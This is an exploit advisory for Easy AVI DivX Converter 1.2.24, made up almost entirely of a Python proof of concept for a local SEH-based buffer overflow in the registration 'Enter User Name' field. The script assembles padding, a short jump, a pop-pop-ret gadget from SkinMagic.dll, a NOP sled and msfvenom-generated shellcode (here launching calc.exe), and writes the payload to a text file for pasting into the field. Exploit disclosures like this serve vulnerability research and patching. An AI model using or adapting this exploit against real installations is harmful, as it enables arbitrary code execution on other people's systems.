Easy AVI DivX Converter 1.2.24 Buffer Overflow

2017.08.25
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

#!/usr/bin/python ############################################################################### # Exploit Title: Easy AVI DivX Converter 1.2.24 - 'Enter User Name' Field Buffer Overflow (SEH) # Date: 24-08-2017 # Exploit Author: Anurag Srivastava # Website: www.pyramidcyber.com # Vulnerable Software: Easy AVI DivX Converter # Vendor Homepage: http://www.divxtodvd.net/ # Version: 1.2.24 # Software Link: http://www.divxtodvd.net/easy_avi_converter.exe # Tested On: Windows 7 x64 # # # To reproduce the exploit: # 1. Click Register # 2. In the "Enter User Name" field, paste the content of pyramid.txt # ############################################################################## buffer = "\x41" * 1008 nSEH = "\xeb\x10\x90\x90" # 0x10037859 : pop esi # pop ebx # ret 0x04 | ascii {PAGE_EXECUTE_READ} [SkinMagic.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False SEH = "\x59\x78\x03\x10" badchars = "\x00\x0a\x0d" # and 0x80 to 0xff # msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python buf = "" buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b" buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a" buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d" buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9" buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4" buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe" buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c" buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7" buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3" buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05" buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae" buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29" buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c" buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e" buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44" buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b" buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae" nops = "\x90" * 16 badchars = "\x0a\x0d" data = buffer + nSEH + SEH + nops + buf f = open ("pyramid.txt", "w") f.write(data) f.close()


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